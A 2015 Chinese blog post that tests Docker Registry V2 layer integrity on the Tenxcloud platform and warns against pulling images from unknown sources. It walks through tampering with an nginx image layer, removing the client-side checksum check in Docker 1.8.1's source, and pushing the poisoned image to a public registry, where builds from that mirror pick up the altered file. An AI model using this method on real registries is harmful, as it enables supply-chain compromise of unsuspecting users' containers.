Registry V2时代安全依然要警惕
2015-12-13 09:40:33
VERSION:1
摘要：
在Registry V1 的时代，用户是可以随意篡改Layer中的文件的。参考这里：https://titanous.com/posts/docker-insecurity 在国内各大CAAS都更新到V2之后依然勾起了我的好奇心，这是怎样的一番过程。
在下文中描述了我的各种测试的实践过程，也是为了加深对Docker的了解，虽然我事先就知道这个bug被修复了。
但是请不要随便用别人给你的Repository 地址，即使是正规的CAAS平台上的也要小心三分。
因为之前我介绍Rancher之后。大家可以看看部署量https://console.tenxcloud.com/docker-registry/detail?imageName=philo/rancheros当然我没有恶意篡改过layers内容。
实践过程略长，主要结论都在上面了给出，想节约时间的小伙伴下面可以略看。
想法过程
通过nginx网页来测试恶意代码是否能进入到其他用户的容器。
- 构建一个带正常内容网页的image。
- 推送到docker hub。
- 修改layers，注入恶意代码， 推送到时速云。
- 换个用户在然后使用image 基于docker hub上的image。
- 推送到时速云看看image是否已经存在，如果存在那么注入就成功了，如果不存在那么registry v2就没有此类安全问题了。
实践
nginx:latest layers
root@Love:~/testinjection# docker history nginx
IMAGE CREATED CREATED BY SIZE COMMENT
6ffc02088cb8 4 days ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon o 0 B
0d30b5fc3b42 4 days ago /bin/sh -c #(nop) EXPOSE 443/tcp 80/tcp 0 B
b023a689b825 4 days ago /bin/sh -c #(nop) VOLUME [/var/cache/nginx] 0 B
9b5308412022 4 days ago /bin/sh -c ln -sf /dev/stderr /var/log/nginx/ 11 B
a631f743c7d3 4 days ago /bin/sh -c ln -sf /dev/stdout /var/log/nginx/ 11 B
8d762e7c0e54 4 days ago /bin/sh -c apt-get update && apt-get inst 8.747 MB
9965ce855336 4 days ago /bin/sh -c #(nop) ENV NGINX_VERSION=1.9.8-1~j 0 B
146400830f31 7 days ago /bin/sh -c echo "deb http://nginx.org/package 221 B
50e5c9c52d5d 7 days ago /bin/sh -c apt-key adv --keyserver hkp://pgp. 1.997 kB
3244b9987276 7 days ago /bin/sh -c #(nop) MAINTAINER NGINX Docker Mai 0 B
8b9a99209d5c 7 days ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0 B
6d1ae97ee388 7 days ago /bin/sh -c #(nop) ADD file:863d6edd178364362a 125.1 MB
测试Dockerfile
FROM nginx
COPY 1577f46edfae12423a1985800c018318.html /usr/share/nginx/html/
CMD ["nginx", "-g", "daemon off;"]
写入文件内容：
root@Love:~/testinjection# cat 1577f46edfae12423a1985800c018318.html
it works
构建它：
root@Love:~/testinjection# docker build -t lijianying10/nginxtest1:0 .
查看新的image的layers。
root@Love:~/testinjection# docker history lijianying10/nginxtest1:0
IMAGE CREATED CREATED BY SIZE COMMENT
7e2848dc9a3e About a minute ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon o 0 B
d33adc4d8484 About a minute ago /bin/sh -c #(nop) COPY file:bc24671d305c24a3d 9 B
多了上面这两层。
选择d33adc4d8484这个层作为攻击目标
push 到dockerhub。
root@Love:~/testinjection# docker push lijianying10/nginxtest1:0
The push refers to a repository [docker.io/lijianying10/nginxtest1] (len: 1)
7e2848dc9a3e: Image successfully pushed
d33adc4d8484: Image successfully pushed
6ffc02088cb8: Image already exists
0d30b5fc3b42: Image already exists
b023a689b825: Image already exists
9b5308412022: Image successfully pushed
a631f743c7d3: Image successfully pushed
8d762e7c0e54: Image successfully pushed
9965ce855336: Image already exists
146400830f31: Image successfully pushed
50e5c9c52d5d: Image successfully pushed
3244b9987276: Image already exists
8b9a99209d5c: Image already exists
6d1ae97ee388: Image successfully pushed
0: digest: sha256:7c2c29250120abf80723fdd833296f88bb8695642fb69bb3c9c1b67031b6b86a size: 26486
不知道为啥有的不是already exists。
在aufs中找到攻击目标中的文件：
root@Love:/var/lib/docker# vim ./aufs/diff/d33adc4d84842dce3699819ceef8a6e646d750c5f88ca76e396e735b22d635ca/usr/share/nginx/html/1577f46edfae12423a1985800c018318.html
内容改成：Code Injection
运行篡改过后的Image：
docker run -it --rm -p 8888:80 lijianying10/nginxtest1:0
Love - - [12/Dec/2015:19:11:38 +0000] "GET /1577f46edfae12423a1985800c018318.html HTTP/1.1" 200 15 "-" "curl/7.35.0" "-"
root@Love:~# curl http://co.newb.xyz:8888/1577f46edfae12423a1985800c018318.html
Code Injection
容器运行并未对文件完整性做检查。
然而我篡改代码后ID并没有改变：
root@Love:/var/lib/docker# docker history lijianying10/nginxtest1:0
IMAGE CREATED CREATED BY SIZE COMMENT
7e2848dc9a3e 14 minutes ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon o 0 B
d33adc4d8484 14 minutes ago /bin/sh -c #(nop) COPY file:bc24671d305c24a3d 9 B
去污染Tenxcloud。
root@Love:/var/lib/docker# docker tag lijianying10/nginxtest1:0 index.tenxcloud.com/philo/nginxtest1:0
root@Love:/var/lib/docker# docker push index.tenxcloud.com/philo/nginxtest1:0
The push refers to a repository [index.tenxcloud.com/philo/nginxtest1] (len: 1)
7e2848dc9a3e: Image successfully pushed
d33adc4d8484: Buffering to Disk
file integrity checksum failed for "usr/share/nginx/html/1577f46edfae12423a1985800c018318.html"
发现有checksum 。 这个Issue已经描述过类似问题 这里面说早期版本里面就直接可以重新算,而且已经修复了。所以不能通过删除checksum来推送。
但是在客户端而且docker是开源的我直接把不要的逻辑修掉。
在1.8.1 版本里面定位代码位置：vendor/src/github.com/vbatts/tar-split/tar/asm/assemble.go:59
if !bytes.Equal(c.Sum(nil), entry.Payload) {
// I would rather this be a comparable ErrInvalidChecksum or such,
// but since it's coming through the PipeReader, the context of
// _which_ file would be lost...
fh.Close()
pw.CloseWithError(fmt.Errorf("file integrity checksum failed for %q", entry.Name))
return
}
嗯哼就是这里了。干掉他！
重新编译docker这个版本。
Client:
Version: 1.8.1
API version: 1.20
Go version: go1.4.2
Git commit:
Built:
OS/Arch: linux/amd64
Server:
Version: 1.8.1
API version: 1.20
Go version: go1.4.2
Git commit: d12ea79
Built: Thu Aug 13 02:35:49 UTC 2015
OS/Arch: linux/amd64
然后我就污染进去了
root@Love:/usr/bin# docker push index.tenxcloud.com/philo/nginxtest1:0
The push refers to a repository [index.tenxcloud.com/philo/nginxtest1] (len: 1)
7e2848dc9a3e: Image already exists
d33adc4d8484: Image successfully pushed
6ffc02088cb8: Image already exists
0d30b5fc3b42: Image already exists
b023a689b825: Image already exists
9b5308412022: Image successfully pushed
a631f743c7d3: Image successfully pushed
8d762e7c0e54: Image successfully pushed
9965ce855336: Image already exists
146400830f31: Image successfully pushed
50e5c9c52d5d: Image successfully pushed
3244b9987276: Image already exists
8b9a99209d5c: Image already exists
6d1ae97ee388: Image successfully pushed
0: digest: sha256:cc9926b902b4db360a8a54f5ca420d018b352d60e0a2c89029ed0bc0e80048b2 size: 26479
找台机器看看结果。
docker run -it --rm -p 8888:80 index.tenxcloud.com/philo/nginxtest1:0
192.168.99.1 - - [13/Dec/2015:00:33:06 +0000] "GET /1577f46edfae12423a1985800c018318.html HTTP/1.1" 200 9 "-" "curl/7.43.0" "-"
curl http://192.168.99.100:8888/1577f46edfae12423a1985800c018318.html
Code Inje%
发现已经污染了。可以等待其他用户中招，但是长度有问题，注入的代码长度不能比原来长。
准备清空恶意image模拟中招用户：
root@Love:~# docker rmi index.tenxcloud.com/philo/nginxtest1:0
Untagged: index.tenxcloud.com/philo/nginxtest1:0
root@Love:~# docker rmi lijianying10/nginxtest1:0
Untagged: lijianying10/nginxtest1:0
Deleted: 7e2848dc9a3e8d4d9d7b77708aad477937652bcdf486dd964e532d6c3aacc4e5
Deleted: d33adc4d84842dce3699819ceef8a6e646d750c5f88ca76e396e735b22d635ca
root@Love:~# docker logout index.tenxcloud.com
Remove login credentials for index.tenxcloud.com
用户正常构建测试他的image： 注意： 1577f46edfae12423a1985800c018318.html 代表注入的恶意程序比如说注入到bash mysql等等常用程序脚本里面。 hello.html 代表用户正常程序。 curl为手动调用过程 ， 在实际的恶意程序中由用户的主动调用来实现注入恶意代码。
用户从DockerHub中拉取内容构建Image。
root@Love:~/testinjection# cat Dockerfile
FROM lijianying10/nginxtest1:0
COPY hello.html /usr/share/nginx/html/
CMD ["nginx", "-g", "daemon off;"]
root@Love:~/testinjection# docker build -t myfoo:0 .
Sending build context to Docker daemon 3.072 kB
Step 0 : FROM lijianying10/nginxtest1:0
0: Pulling from lijianying10/nginxtest1
d33adc4d8484: Pull complete
7e2848dc9a3e: Pull complete
6d1ae97ee388: Already exists
8b9a99209d5c: Already exists
3244b9987276: Already exists
50e5c9c52d5d: Already exists
146400830f31: Already exists
9965ce855336: Already exists
8d762e7c0e54: Already exists
a631f743c7d3: Already exists
9b5308412022: Already exists
b023a689b825: Already exists
0d30b5fc3b42: Already exists
6ffc02088cb8: Already exists
Digest: sha256:7c2c29250120abf80723fdd833296f88bb8695642fb69bb3c9c1b67031b6b86a
Status: Downloaded newer image for lijianying10/nginxtest1:0
---> 7e2848dc9a3e
Step 1 : COPY hello.html /usr/share/nginx/html/
---> 932b144a3e74
Removing intermediate container 884af8928f47
Step 2 : CMD nginx -g daemon off;
---> Running in f0d84733ab86
---> 855209f4480a
Removing intermediate container f0d84733ab86
Successfully built 855209f4480a
build日志中显示用户从dockerhub中拉取了攻击目标layer。
用户正常测试程序。
root@Love:/usr/bin# curl http://co.newb.xyz:8888/1577f46edfae12423a1985800c018318.html
it works
root@Love:/usr/bin# curl http://co.newb.xyz:8888/hello.html
hello it works
用户正常调用系统底层程序并且返回正常结果 it works，用户把程序推送到Tenx准备部署。
推送
root@Love:/usr/bin# docker push index.tenxcloud.com/philo2/myfoo:0
The push refers to a repository [index.tenxcloud.com/philo2/myfoo] (len: 1)
855209f4480a: Image successfully pushed
932b144a3e74: Image successfully pushed
7e2848dc9a3e: Image already exists
d33adc4d8484: Image successfully pushed
6ffc02088cb8: Image already exists
0d30b5fc3b42: Image already exists
b023a689b825: Image already exists
9b5308412022: Image successfully pushed
a631f743c7d3: Image successfully pushed
8d762e7c0e54: Image successfully pushed
9965ce855336: Image already exists
146400830f31: Image successfully pushed
50e5c9c52d5d: Image successfully pushed
3244b9987276: Image already exists
8b9a99209d5c: Image already exists
6d1ae97ee388: Image successfully pushed
貌似没有显示已经存在，checksum应该是发挥了作用。
但是启动不成功。。。。
Failed to pull image "index.tenxcloud.com/philo2/myfoo:0": image pull failed for index.tenxcloud.com/philo2/myfoo:0, this may be because there are no credentials on this request. details: (Error: image philo2/myfoo:0 not found)
时速云报错在上面,但是很快就好了。估计重启之后。pull下来就没有问题了。
registry v2 不会出现恶意污染这种问题
但是有一些Image比较大，大家会通过Tenxcloud来加速Docker image的构建。 比如说通过网络搜索之类的方法搜索到index.tenxcloud.com/philo/nginxtest1:0 就是dockerhub上的加速镜像。 那么使用它构建会不会中招呢？（绕过checksum）
➜ testinj docker build -t ttttt:t .
Sending build context to Docker daemon 2.048 kB
Step 0 : FROM index.tenxcloud.com/philo/nginxtest1:0
0: Pulling from philo/nginxtest1
3244b9987276: Pull complete
50e5c9c52d5d: Pull complete
146400830f31: Pull complete
9965ce855336: Pull complete
8d762e7c0e54: Pull complete
a631f743c7d3: Pull complete
9b5308412022: Pull complete
b023a689b825: Pull complete
0d30b5fc3b42: Pull complete
6ffc02088cb8: Pull complete
d33adc4d8484: Pull complete
7e2848dc9a3e: Pull complete
6d1ae97ee388: Already exists
8b9a99209d5c: Already exists
Digest: sha256:cc9926b902b4db360a8a54f5ca420d018b352d60e0a2c89029ed0bc0e80048b2
Status: Downloaded newer image for index.tenxcloud.com/philo/nginxtest1:0
---> 7e2848dc9a3e
Step 1 : CMD nginx -g daemon off;
---> Running in 755303bddb18
---> 25f006687772
Removing intermediate container 755303bddb18
Successfully built 25f006687772
➜ testinj docker run -it --rm -p 8888:80 ttttt:t
192.168.99.1 - - [13/Dec/2015:01:34:02 +0000] "GET /1577f46edfae12423a1985800c018318.html HTTP/1.1" 200 9 "-" "curl/7.43.0" "-"
➜ ~ curl http://192.168.99.100:8888/1577f46edfae12423a1985800c018318.html
Code Inje%
结果是用不明来源的image是会中招的。而且id都一样无法肉眼辨识。
所以千万不要用怪蜀黍给的Image地址。
本人博客文章采用CC Attribution-NonCommercial协议: CC Attribution-NonCommercial 必须保留原作者署名,并且不允许用于商业用途,其他行为都是允许的。
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